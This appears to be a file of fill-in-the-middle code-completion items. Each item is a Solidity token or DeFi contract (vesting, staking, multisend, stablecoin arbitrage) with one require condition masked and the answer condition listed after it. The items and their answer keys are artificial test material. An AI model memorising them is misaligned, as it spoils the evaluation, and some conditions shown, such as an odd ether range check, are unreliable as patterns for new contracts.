function totalStakedSupply() public view returns (uint256) {
}
function myRewardsBalance(address account) public view returns (uint256) {
}
function stake(uint256 amount) public updateStakingReward(msg.sender) {
}
function withdraw(uint256 amount) public updateStakingReward(msg.sender) {
}
function _getReward(address receiver) private {
}
function getReward() public updateStakingReward(msg.sender) {
}
// Will prevent exchanges from staking;
function blackListAddress(address addr, bool blackList) external onlyOwner {
}
function isBlackListed(address addr) public view returns (bool) {
}
}
| !isVesting[vester] | 341,591 | !isVesting[vester] |
null | pragma solidity 0.5.8;
contract Uplink is ERC20Detailed {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowed;
string constant tokenName = "Uplink";
string constant tokenSymbol = "ULINK";
uint8 constant tokenDecimals = 18;
uint256 _totalSupply = 100000 * 18;
// ------------------------------------------------------------------------
address public contractOwner;
uint256 public fullUnitsVested_total = 0;
mapping(address => bool) public isVesting;
uint256 _totalVestRewardsPerUnit = 0;
mapping(address => uint256) private _totalVestRewardsPerUnit_positions;
mapping(address => uint256) private _savedVestRewards;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ------------------------------------------------------------------------
bool public migrationActive = true;
//these addresses won't be affected by burn,ie liquidity pools
mapping(address => bool) public whitelist;
event Whitelisted(address _addr, bool _whitelisted);
// ------------------------------------------------------------------------
constructor() public ERC20Detailed(tokenName, tokenSymbol, tokenDecimals)
{
}
// ------------------------------------------------------------------------
modifier onlyOwner() {
}
function transferOwnership(address newOwner) public {
}
function totalSupply() public view returns (uint256) {
}
function balanceOf(address owner) public view returns (uint256) {
}
function fullUnitsVested(address owner) external view returns (uint256) {
}
function toFullUnits(uint256 valueWithDecimals) public pure returns (uint256) {
}
function allowance(address owner, address spender) public view returns (uint256) {
}
function transfer(address to, uint256 value) public returns (bool) {
}
function transferAndCall(address to, uint value, bytes memory data) public returns (bool) {
}
function multiTransfer(address[] memory receivers, uint256[] memory values) public {
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
}
function transferFromAndCall(address from, address to, uint value, bytes memory data) public returns (bool) {
}
function approve(address spender, uint256 value) public returns (bool) {
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool)
{
}
function _mint(address account, uint256 value) internal
{
}
function burn(uint256 value) external
{
}
function burnFrom(address account, uint256 value) external
{
}
function _burn(address account, uint256 value) internal
{
}
/*
* transfer with additional burn and vest rewards
* the receiver gets 96% of the sent value
* 4% are split to be burnt and distributed to holders
*/
function _executeTransfer(address from, address to, uint256 value) private
{
}
//catch up with the current total rewards. This needs to be done before an addresses balance is changed
function updateVestRewardsFor(address vester) private
{
}
//get all rewards that have not been claimed yet
function viewUnpaidVestRewards(address vester) public view returns (uint256)
{
}
//pay out unclaimed vest rewards
function payoutVestRewards() public
{
}
function enableVesting() public {
}
function disableVesting() public {
}
function enableVestingFor(address vester) public onlyOwner {
}
function disableVestingFor(address vester) public onlyOwner {
}
//enable vesting for target address
function _enableVesting(address vester) private {
}
//disable vesting for target address
function _disableVesting(address vester) private {
require(<FILL_ME>)
updateVestRewardsFor(vester);
isVesting[vester] = false;
fullUnitsVested_total = fullUnitsVested_total.sub(toFullUnits(_balances[vester]));
}
//no fees if receiver is whitelisted
function setWhitelist(address _addr, bool _whitelisted) external onlyOwner {
}
//migrate a list of balances
function multiMigrateBalance(address[] memory receivers, uint256[] memory values) public {
}
//mint balance to a give address, only works as long as migrationmode is active
function migrateBalance(address account, uint256 amount) public onlyOwner {
}
//this will stop migration mode permanently
function endMigration() public onlyOwner {
}
// begin staking section
address public owner;
struct stakeTracker {
uint256 lastBlockChecked;
uint256 rewards;
uint256 linkStaked;
}
uint256 private rewardsVar;
address private linkAddress;
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private linkToken;
uint256 private _totalLinkStaked;
mapping(address => stakeTracker) private _stakedBalances;
mapping(address => bool) blackListed;
event Staked(address indexed user, uint256 amount, uint256 totalLinkStaked);
event Withdrawn(address indexed user, uint256 amount);
event Rewards(address indexed user, uint256 reward);
modifier updateStakingReward(address account) {
}
/* in case someone mistakenly sent ERC20 tokens to the contract.
*/
function withdrawERC20Tokens(address tokenAddress, uint256 amount) public onlyOwner
{
}
function setLinkAddress(address _linkAddress) public onlyOwner returns (uint256) {
}
function updatingStakingReward(address account) public returns (uint256) {
}
function getBlockNum() public view returns (uint256) {
}
function getLastBlockCheckedNum(address _account) public view returns (uint256) {
}
function getAddressStakeAmount(address _account) public view returns (uint256) {
}
function setRewardsVar(uint256 _amount) public onlyOwner {
}
function totalStakedSupply() public view returns (uint256) {
}
function myRewardsBalance(address account) public view returns (uint256) {
}
function stake(uint256 amount) public updateStakingReward(msg.sender) {
}
function withdraw(uint256 amount) public updateStakingReward(msg.sender) {
}
function _getReward(address receiver) private {
}
function getReward() public updateStakingReward(msg.sender) {
}
// Will prevent exchanges from staking;
function blackListAddress(address addr, bool blackList) external onlyOwner {
}
function isBlackListed(address addr) public view returns (bool) {
}
}
| isVesting[vester] | 341,591 | isVesting[vester] |
"Vendor contract does not enough tokens in its balance" | pragma solidity 0.8.11;
// Learn more about the ERC20 implementation
// import chainlink feeds
contract Icre8ConvertV1 is Ownable, Pausable, ReentrancyGuard {
// Our Token Contract
IERC20 public contractToken;
IERC20 public __usdtToken;
AggregatorV3Interface internal priceFeed;
using SafeMath for uint256;
using SafeCast for uint256;
using SafeERC20 for IERC20;
// token price for ETH
uint256 public tokensPerEth = 888;
// Event that log buy operation
event Icre8TokensBought(address buyer, uint256 amountOfETH, uint256 amountOfTokens);
event Icre8TokensBoughtViaUSDT(address buyer, uint256 amountOfETH, uint256 amountOfTokens);
event UsdtTokenFetchFailed(address senderAddress, uint256 tokenAmount);
constructor(address tokenAddress, address usdtAddress, address priceFeedAddress) Ownable() Pausable() ReentrancyGuard() {
}
/**
* @notice Allow users to buy tokens for ETH
*/
function convert() public payable whenNotPaused nonReentrant returns (uint256 tokenAmount) {
require(msg.sender != address(0), "Address is zero");
require(msg.value <= 9000000000000000000 || msg.value >= 88800000000000000, "value should be between .0888 or 9 ether");
uint256 amountToBuy = ((msg.value).div(tokensPerEth)) * 100000;
// check if the Vendor Contract has enough amount of tokens for the transaction
require(<FILL_ME>)
// Transfer token to the msg.sender
contractToken.safeTransfer(msg.sender, amountToBuy);
// emit the event
emit Icre8TokensBought(msg.sender, msg.value, amountToBuy);
return amountToBuy;
}
/**
* @notice Allow users to sell tokens for ETH
*/
function buyWithUSDT(uint256 tokenAmount) public payable whenNotPaused nonReentrant {
}
/**
* @notice Allow the owner of the contract to withdraw ETH
*/
function withdraw() public nonReentrant onlyOwner {
}
function withdrawToken (address tokenAddress) public payable nonReentrant onlyOwner {
}
function getLatestPrice() public view returns (uint) {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
fallback () external payable {
}
receive () external payable {
}
}
| contractToken.balanceOf(address(this))>=amountToBuy,"Vendor contract does not enough tokens in its balance" | 341,631 | contractToken.balanceOf(address(this))>=amountToBuy |
"Centralization detected! Initiate Tuck Defense Mode!" | /**
* @dev Implementation of the `IERC20` interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using `_mint`.
* For a generic mechanism see `ERC20Mintable`.
*
* *For a detailed writeup see our guide [How to implement supply
* mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).*
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an `Approval` event is emitted on calls to `transferFrom`.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard `decreaseAllowance` and `increaseAllowance`
* functions have been added to mitigate the well-known issues around setting
* allowances. See `IERC20.approve`.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view returns (uint256) {
}
function safeTotalSupply() public view returns (uint256) {
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view returns (uint256) {
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view returns (uint256) {
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
}
function percent(uint256 numerator, uint256 denominator, uint256 precision) internal pure returns(uint256 quotient) {
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(<FILL_ME>)
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
}
/**
* @dev Destoys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
}
/**
* @dev Destoys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See `_burn` and `_approve`.
*/
function _burnFrom(address account, uint256 amount) internal {
}
}
| percent(_balances[recipient].add(amount),safeTotalSupply(),uint256(1))<=uint256(1000000000000000000000000),"Centralization detected! Initiate Tuck Defense Mode!" | 341,671 | percent(_balances[recipient].add(amount),safeTotalSupply(),uint256(1))<=uint256(1000000000000000000000000) |
null | // ----------------------------------------------------------------------------
// GSECoin contract
// Symbol : GSE
// Name : GSECoin
// Decimals : 18
// ----------------------------------------------------------------------------
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
}
}
contract Ownable {
address public owner;
address public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
modifier onlyOwnerOrAdmin() {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
}
function setAdmin(address newAdmin) onlyOwner public {
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 _totalSupply;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
}
}
contract ERC20Token is BasicToken, ERC20 {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) allowed;
function approve(address _spender, uint256 _value) public returns (bool) {
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
}
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool success) {
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool success) {
}
}
contract BurnableToken is BasicToken, Ownable {
// events
event Burn(address indexed burner, uint256 amount);
// reduce sender balance and Token total supply
function burn(uint256 _value) onlyOwner public {
}
}
contract TokenLock is Ownable {
using SafeMath for uint256;
bool public transferEnabled = false; // indicates that token is transferable or not
bool public noTokenLocked = false; // indicates all token is released or not
struct TokenLockInfo { // token of `amount` cannot be moved before `time`
uint256 amount; // locked amount
uint256 time; // unix timestamp
}
struct TokenLockState {
uint256 latestReleaseTime;
TokenLockInfo[] tokenLocks; // multiple token locks can exist
}
mapping(address => TokenLockState) lockingStates;
event AddTokenLock(address indexed to, uint256 time, uint256 amount);
function unlockAllTokens() public onlyOwner {
}
function enableTransfer(bool _enable) public onlyOwner {
}
// calculate the amount of tokens an address can use
function getMinLockedAmount(address _addr) view public returns (uint256 locked) {
}
function addTokenLock(address _addr, uint256 _value, uint256 _release_time) onlyOwnerOrAdmin public {
}
}
contract GSECoin is BurnableToken, DetailedERC20, ERC20Token, TokenLock {
using SafeMath for uint256;
// events
event Approval(address indexed owner, address indexed spender, uint256 value);
string public constant symbol = "GSE";
string public constant name = "GSECoin";
uint8 public constant decimals = 18;
uint256 public constant TOTAL_SUPPLY = 50000000*(10**uint256(decimals));
constructor() DetailedERC20(name, symbol, decimals) public {
}
// modifiers
// checks if the address can transfer tokens
modifier canTransfer(address _sender, uint256 _value) {
require(_sender != address(0));
require(<FILL_ME>)
_;
}
function setAdmin(address newAdmin) onlyOwner public {
}
modifier onlyValidDestination(address to) {
}
function canTransferIfLocked(address _sender, uint256 _value) public view returns(bool) {
}
// override function using canTransfer on the sender address
function transfer(address _to, uint256 _value) onlyValidDestination(_to) canTransfer(msg.sender, _value) public returns (bool success) {
}
// transfer tokens from one address to another
function transferFrom(address _from, address _to, uint256 _value) onlyValidDestination(_to) canTransfer(_from, _value) public returns (bool success) {
}
function() public payable {
}
}
| (_sender==owner||_sender==admin)||(transferEnabled&&(noTokenLocked||canTransferIfLocked(_sender,_value))) | 341,711 | (_sender==owner||_sender==admin)||(transferEnabled&&(noTokenLocked||canTransferIfLocked(_sender,_value))) |
"token not whitelisted" | pragma solidity ^0.5.0;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error.
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
/**
* @title Multisend contract
* @dev Provides ability to send multiple ERC20 tokens and ether within one transaction
**/
contract Multisend {
using SafeMath for uint256;
address payable private _owner; // owner of the contract
mapping(address => bool) public whitelist; //whitelisted contract address to transfer to
uint private _fee; // amount in basis points to take from each deposit
mapping(address => mapping(address => uint256)) public balances; // deposited token/ether balances
/**
* @param initialFee amount of fees taken per transaction in basis points
**/
constructor(uint256 initialFee) public {
}
/**
* @dev Deposit token into this contract to use for sending
* @param tokenDepositAddress token contract addresses to deposit tokens from
* @param tokenDepositAmount amount of tokens to deposit
* @dev for ether transactions use address(0) as token contract address
**/
function deposit(address[] memory tokenDepositAddress, uint256[] memory tokenDepositAmount) public payable {
require(tokenDepositAddress.length == tokenDepositAmount.length);
// if any ether was sent
if(msg.value != 0) {
uint256 etherFee = msg.value.div(10000).mul(_fee); //calculate fee
balances[msg.sender][address(0)] = balances[msg.sender][address(0)].add(msg.value.sub(etherFee));
balances[address(this)][address(0)] = balances[address(this)][address(0)].add(etherFee);
}
for (uint i=0;i<tokenDepositAddress.length;i++) {
require(<FILL_ME>)
uint256 tokenFee = tokenDepositAmount[i].div(10000).mul(_fee);
IERC20(tokenDepositAddress[i]).transferFrom(msg.sender, address(this), tokenDepositAmount[i]);
balances[msg.sender][tokenDepositAddress[i]] = balances[msg.sender][tokenDepositAddress[i]].add(tokenDepositAmount[i].sub(tokenFee));
balances[address(this)][tokenDepositAddress[i]] = balances[address(this)][tokenDepositAddress[i]].add(tokenFee);
}
}
/**
* Send payment from the funds initially depositted
* @param tokens token contract address to send payment
* @param recipients addresses to send tokens to
* @param amounts token amount being sent
* @dev for ether payments use address(0)
**/
function sendPayment(address[] memory tokens, address payable[] memory recipients, uint256[] memory amounts) public payable returns (bool) {
}
/**
* @dev calls deposit and send methods in one transaction
**/
function depositAndSendPayment(address[] calldata tokenDepositAddress, uint256[] calldata tokenDepositAmount, address[] calldata tokens, address payable[] calldata recipients, uint256[] calldata amounts) external payable returns (bool) {
}
/**
* @dev Withdraw method to return tokens to original owner
* @param tokenAddresses token contract address to withdraw from
**/
function withdrawTokens(address payable[] calldata tokenAddresses) external {
}
// @dev Withdraw method to return ether to original owner
function withdrawEther() external {
}
/*** CONSTANT METHODS **/
/**
* @param owner address to query balance of
* @param token contract address to query
* @return a uint256 balance of the given users token amount
**/
function getBalance(address owner, address token) external view returns (uint256) {
}
/**
* @dev returns the owner of the contract
* @return address of this contracts owner
**/
function owner() external view returns (address) {
}
/*** OWNER METHODS **/
/**
* @dev function that returns the token fees collected by the contract to the owner
* @param tokenAddresses token contract addresses to withdraw from
**/
function ownerWithdrawTokens(address payable[] calldata tokenAddresses) external onlyOwner {
}
// @dev function that returns the ether fees collected by the contract to the owner
function ownerWithdrawEther() external onlyOwner {
}
/**
* @dev whitelist a token address
* @param contractAddress the address to be whitelisted
*/
function whitelistAddress(address contractAddress) external onlyOwner {
}
/**
* @dev method to transfer ownership to a new address
* @param newOwner address of the new owner
**/
function transferOwnership(address payable newOwner) external onlyOwner {
}
modifier onlyOwner {
}
}
| whitelist[tokenDepositAddress[i]]==true,"token not whitelisted" | 341,757 | whitelist[tokenDepositAddress[i]]==true |
"There are no tokens in this strategy" | pragma solidity =0.6.6;
// This is iteration 5 of the strategy
// This is a strategy that takes advantage of arb opportunities for multiple stablecoins
// Users deposit various stables into the strategy and the strategy will sell into the lowest priced token
// In addition to that, the pool will earn interest in the form of aTokens from Aave
// Selling will occur via Curve and buying WETH via Sushiswap
// Half the profit earned from the sell and interest will be used to buy WETH and split it among the treasury, stakers and executor
// Half will remain as stables (in the form of aTokens)
// It will sell on withdrawals only when a non-contract calls it and certain requirements are met
// Anyone can be an executors and profit a percentage on a trade
// Gas cost is reimbursed, up to a percentage of the total WETH profit / stipend
// This strategy doesn't store stables but rather interest earning variants (aTokens)
interface StabilizeStakingPool {
function notifyRewardAmount(uint256) external;
}
interface StabilizePriceOracle {
function getPrice(address _address) external view returns (uint256);
}
interface CurvePool {
function get_dy(int128, int128, uint256) external view returns (uint256); // Get quantity estimate
function exchange(int128, int128, uint256, uint256) external; // Exchange tokens
}
interface TradeRouter {
function swapExactETHForTokens(uint, address[] calldata, address, uint) external payable returns (uint[] memory);
function swapExactTokensForTokens(uint, uint, address[] calldata, address, uint) external returns (uint[] memory);
function getAmountsOut(uint, address[] calldata) external view returns (uint[] memory); // For a value in, it calculates value out
}
interface AggregatorV3Interface {
function latestRoundData() external view returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound);
}
interface LendingPoolAddressesProvider {
function getLendingPool() external view returns (address);
}
interface LendingPool {
function withdraw(address, uint256, address) external returns (uint256);
function deposit(address, uint256, address, uint16) external;
}
interface StrategyVault {
function viewWETHProfit(uint256) external view returns (uint256);
function sendWETHProfit() external;
}
contract StabilizeStrategyStablecoinArbV5 is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
address public treasuryAddress; // Address of the treasury
address public stakingAddress; // Address to the STBZ staking pool
address public zsTokenAddress; // The address of the controlling zs-Token
address public strategyVaultAddress; // This strategy stores interest aTokens in separate vault
uint256 constant DIVISION_FACTOR = 100000;
uint256 public lastTradeTime;
uint256 public lastActionBalance; // Balance before last deposit, withdraw or trade
bool public daiOpenTrade = true; // If true, dai can trade openly with other tokens other than susd
uint256 public percentTradeTrigger = 90000; // 90% change in value will trigger a trade
uint256 public percentSell = 50000; // 50% of the tokens are sold to the cheapest token
uint256 public percentDepositor = 50000; // 1000 = 1%, depositors earn 50% of all gains (including interest)
uint256 public percentExecutor = 10000; // 10000 = 10% of WETH goes to executor
uint256 public percentStakers = 50000; // 50% of non-executor WETH goes to stakers, can be changed, rest goes to treasury
uint256 public minTradeSplit = 20000; // If the balance of a stablecoin is less than or equal to this, it trades the entire balance
uint256 public maxPercentStipend = 30000; // The maximum amount of WETH profit that can be allocated to the executor for gas in percent
uint256 public gasStipend = 4000000; // This is the gas units that are covered by executing a trade taken from the WETH profit
uint256 constant minGain = 1e16; // Minimum amount of stablecoin gain (about 0.01 USD) before buying WETH and splitting it
// Token information
// This strategy accepts multiple stablecoins
// DAI, USDC, USDT, sUSD
struct TokenInfo {
IERC20 token; // Reference of token
IERC20 aToken; // Reference to its aToken (Aave v2)
uint256 decimals; // Decimals of token
uint256 price; // Last price of token in USD
uint256 lastATokenBalance; // The balance the last time the interest was calculated
}
TokenInfo[] private tokenList; // An array of tokens accepted as deposits
StabilizePriceOracle private oracleContract; // A reference to the price oracle contract
// Strategy specific variables
address constant CURVE_DAI_SUSD = address(0xEB16Ae0052ed37f479f7fe63849198Df1765a733); // Curve pool for 2 tokens, asUSD, aDAI
address constant CURVE_ATOKEN_3 = address(0xDeBF20617708857ebe4F679508E7b7863a8A8EeE); // Curve pool for 3 tokens, aDAI, aUSDT, aUSDC
address constant SUSHISWAP_ROUTER = address(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F); //Address of Sushiswap
address constant WETH_ADDRESS = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address constant GAS_ORACLE_ADDRESS = address(0x169E633A2D1E6c10dD91238Ba11c4A708dfEF37C); // Chainlink address for fast gas oracle
address constant LENDING_POOL_ADDRESS_PROVIDER = address(0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5); // Provider for Aave addresses
constructor(
address _treasury,
address _staking,
address _zsToken,
StabilizePriceOracle _oracle
) public {
}
// Initialization functions
function setupWithdrawTokens() internal {
}
// Modifier
modifier onlyZSToken() {
}
// Read functions
function rewardTokensCount() external view returns (uint256) {
}
function rewardTokenAddress(uint256 _pos) external view returns (address) {
}
function balanceWithInterest() public view returns (uint256) {
}
function balance() public view returns (uint256) {
}
function getNormalizedTotalBalance(address _address) public view returns (uint256) {
}
function withdrawTokenReserves() public view returns (address, uint256) {
}
// Write functions
function enter() external onlyZSToken {
}
function exit() external onlyZSToken {
}
function deposit(bool nonContract) public onlyZSToken {
}
function withdraw(address _depositor, uint256 _share, uint256 _total, bool nonContract) public onlyZSToken returns (uint256) {
require(<FILL_ME>)
// First the interest earned since the last call will be calculated and sent to vault
calculateAndStoreInterest();
// This is in case there are some leftover raw tokens
convertAllToAaveTokens();
if(nonContract == true){
if(_share > _total.mul(percentTradeTrigger).div(DIVISION_FACTOR)){
checkAndSwapTokens(address(0)); // This will also not call calculateAndHold due to 0 address
}
}
uint256 withdrawAmount = 0;
uint256 _balance = balanceWithInterest();
if(_share < _total){
uint256 _myBalance = _balance.mul(_share).div(_total);
withdrawPerPrice(_depositor, _myBalance, false); // This will withdraw based on token price
withdrawAmount = _myBalance;
}else{
// We are all shares, transfer all
withdrawPerPrice(_depositor, _balance, true);
withdrawAmount = _balance;
}
lastActionBalance = balanceWithInterest();
return withdrawAmount;
}
// Get price from chainlink oracle
function updateTokenPrices() internal {
}
// This will withdraw the tokens from the contract based on their price, from lowest price to highest
function withdrawPerPrice(address _receiver, uint256 _withdrawAmount, bool _takeAll) internal {
}
function convertFromAToken(uint256 _id, uint256 amount) internal {
}
function convertToAToken(uint256 _id, uint256 amount) internal {
}
function convertAllToAaveTokens() internal {
}
function simulateExchange(address _inputToken, address _outputToken, uint256 _amount) internal view returns (uint256) {
}
function exchange(address _inputToken, address _outputToken, uint256 _amount) internal {
}
function getCheapestCurveToken() internal view returns (uint256) {
}
function calculateAndStoreInterest() internal {
}
function calculateAndViewInterest() internal view returns (uint256) {
}
function getFastGasPrice() internal view returns (uint256) {
}
function checkAndSwapTokens(address _executor) internal {
}
function expectedProfit(bool inWETHForExecutor) external view returns (uint256) {
}
function executorSwapTokens(address _executor, uint256 _minSecSinceLastTrade) external {
}
// Governance functions
function governanceSwapTokens() external onlyGovernance {
}
function governanceToggleDaiTrade() external onlyGovernance {
}
// Timelock variables
uint256 private _timelockStart; // The start of the timelock to change governance variables
uint256 private _timelockType; // The function that needs to be changed
uint256 constant TIMELOCK_DURATION = 86400; // Timelock is 24 hours
// Reusable timelock variables
address private _timelock_address;
uint256[6] private _timelock_data;
modifier timelockConditionsMet(uint256 _type) {
}
// Change the owner of the token contract
// --------------------
function startGovernanceChange(address _address) external onlyGovernance {
}
function finishGovernanceChange() external onlyGovernance timelockConditionsMet(1) {
}
// --------------------
// Change the treasury address
// --------------------
function startChangeTreasury(address _address) external onlyGovernance {
}
function finishChangeTreasury() external onlyGovernance timelockConditionsMet(2) {
}
// --------------------
// Change the staking address
// --------------------
function startChangeStakingPool(address _address) external onlyGovernance {
}
function finishChangeStakingPool() external onlyGovernance timelockConditionsMet(3) {
}
// --------------------
// Change the zsToken address
// --------------------
function startChangeZSToken(address _address) external onlyGovernance {
}
function finishChangeZSToken() external onlyGovernance timelockConditionsMet(4) {
}
// --------------------
// Change the price oracle contract used, in case of upgrades
// --------------------
function startChangePriceOracle(address _address) external onlyGovernance {
}
function finishChangePriceOracle() external onlyGovernance timelockConditionsMet(5) {
}
// --------------------
// Change the trading conditions used by the strategy
// --------------------
function startChangeTradingConditions(uint256 _pTradeTrigger, uint256 _pSellPercent, uint256 _minSplit, uint256 _maxStipend, uint256 _pMaxStipend) external onlyGovernance {
}
function finishChangeTradingConditions() external onlyGovernance timelockConditionsMet(6) {
}
// --------------------
// Change the strategy allocations between the parties
// --------------------
function startChangeStrategyAllocations(uint256 _pDepositors, uint256 _pExecutor, uint256 _pStakers) external onlyGovernance {
}
function finishChangeStrategyAllocations() external onlyGovernance timelockConditionsMet(7) {
}
// --------------------
// Remove tokens not used in strategy from strategy
// --------------------
function startRecoverTrappedToken(address _token) external onlyGovernance {
}
function finishRecoverTrappedToken() external onlyGovernance timelockConditionsMet(8) {
}
// --------------------
// Change the strategy vault address
// --------------------
function startChangeStrategyVault(address _address) external onlyGovernance {
}
function finishChangeStrategyVault() external onlyGovernance timelockConditionsMet(9) {
}
// --------------------
}
| balanceWithInterest()>0,"There are no tokens in this strategy" | 341,758 | balanceWithInterest()>0 |
null | // Elona? Putina? Welcome to Elona's brainchild: Dogona @DogonaToken
pragma solidity ^0.8.0;
abstract contract Context {
